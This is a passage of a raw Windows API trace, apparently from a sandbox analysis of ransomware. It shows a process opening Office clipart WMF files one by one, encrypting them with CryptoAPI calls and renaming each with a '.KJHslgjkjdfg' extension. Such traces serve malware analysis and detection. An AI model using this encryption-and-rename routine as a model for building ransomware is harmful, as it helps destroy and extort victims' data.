WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x930, lpOverlapped=0x0) returned 1 [0154.016] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.016] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.016] SetEndOfFile (hFile=0x114) returned 1 [0154.019] GetProcessHeap () returned 0x2a0000 [0154.019] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.019] GetProcessHeap () returned 0x2a0000 [0154.019] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.019] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.kjhslgjkjdfg")) returned 1 [0154.020] CloseHandle (hObject=0x114) returned 1 [0154.020] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04117_.WMF", cAlternateFileName="")) returned 1 [0154.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.021] GetProcessHeap () returned 0x2a0000 [0154.021] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.021] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.021] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.021] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.024] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.024] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.024] GetProcessHeap () returned 0x2a0000 [0154.024] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.024] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.024] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.024] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.025] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.025] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.025] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.025] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.025] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.025] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.025] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.025] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.025] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x17ac, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x17ac, lpOverlapped=0x0) returned 1 [0154.026] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x17b0, dwBufLen=0x17b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x17b0) returned 1 [0154.026] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.027] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x17b0, lpOverlapped=0x0) returned 1 [0154.027] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.027] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1884, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.027] SetEndOfFile (hFile=0x114) returned 1 [0154.030] GetProcessHeap () returned 0x2a0000 [0154.030] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.030] GetProcessHeap () returned 0x2a0000 [0154.030] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.034] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.kjhslgjkjdfg")) returned 1 [0154.035] CloseHandle (hObject=0x114) returned 1 [0154.035] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04134_.WMF", cAlternateFileName="")) returned 1 [0154.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.036] GetProcessHeap () returned 0x2a0000 [0154.036] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.036] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.036] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.036] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.043] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.043] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.043] GetProcessHeap () returned 0x2a0000 [0154.043] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.043] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.043] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.043] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.044] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.044] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.044] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.044] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.044] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.044] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.044] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.044] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.044] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd58, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xd58, lpOverlapped=0x0) returned 1 [0154.044] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd60, dwBufLen=0xd60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd60) returned 1 [0154.045] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.045] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xd60, lpOverlapped=0x0) returned 1 [0154.045] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.045] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xe34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.045] SetEndOfFile (hFile=0x114) returned 1 [0154.048] GetProcessHeap () returned 0x2a0000 [0154.048] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.048] GetProcessHeap () returned 0x2a0000 [0154.048] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.048] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.kjhslgjkjdfg")) returned 1 [0154.050] CloseHandle (hObject=0x114) returned 1 [0154.050] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04174_.WMF", cAlternateFileName="")) returned 1 [0154.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.052] GetProcessHeap () returned 0x2a0000 [0154.052] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.052] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.052] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.052] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.054] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.055] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.055] GetProcessHeap () returned 0x2a0000 [0154.055] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.055] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.055] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.055] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.055] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.055] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.055] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.055] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.055] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.055] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.056] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.056] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.056] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa4c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa4c, lpOverlapped=0x0) returned 1 [0154.056] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa50, dwBufLen=0xa50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa50) returned 1 [0154.056] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.056] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa50, lpOverlapped=0x0) returned 1 [0154.056] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.056] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.056] SetEndOfFile (hFile=0x114) returned 1 [0154.059] GetProcessHeap () returned 0x2a0000 [0154.059] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.059] GetProcessHeap () returned 0x2a0000 [0154.059] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.059] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.kjhslgjkjdfg")) returned 1 [0154.061] CloseHandle (hObject=0x114) returned 1 [0154.061] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04191_.WMF", cAlternateFileName="")) returned 1 [0154.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.062] GetProcessHeap () returned 0x2a0000 [0154.062] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.062] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.062] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.062] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.065] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.065] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.065] GetProcessHeap () returned 0x2a0000 [0154.065] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.065] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.065] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.065] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.065] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.065] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.065] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.066] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.066] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.066] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.066] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.066] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.066] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x19ec, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x19ec, lpOverlapped=0x0) returned 1 [0154.067] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x19f0, dwBufLen=0x19f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x19f0) returned 1 [0154.067] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.067] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x19f0, lpOverlapped=0x0) returned 1 [0154.067] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.067] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1ac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.068] SetEndOfFile (hFile=0x114) returned 1 [0154.070] GetProcessHeap () returned 0x2a0000 [0154.070] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.070] GetProcessHeap () returned 0x2a0000 [0154.070] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.071] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.kjhslgjkjdfg")) returned 1 [0154.072] CloseHandle (hObject=0x114) returned 1 [0154.072] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, 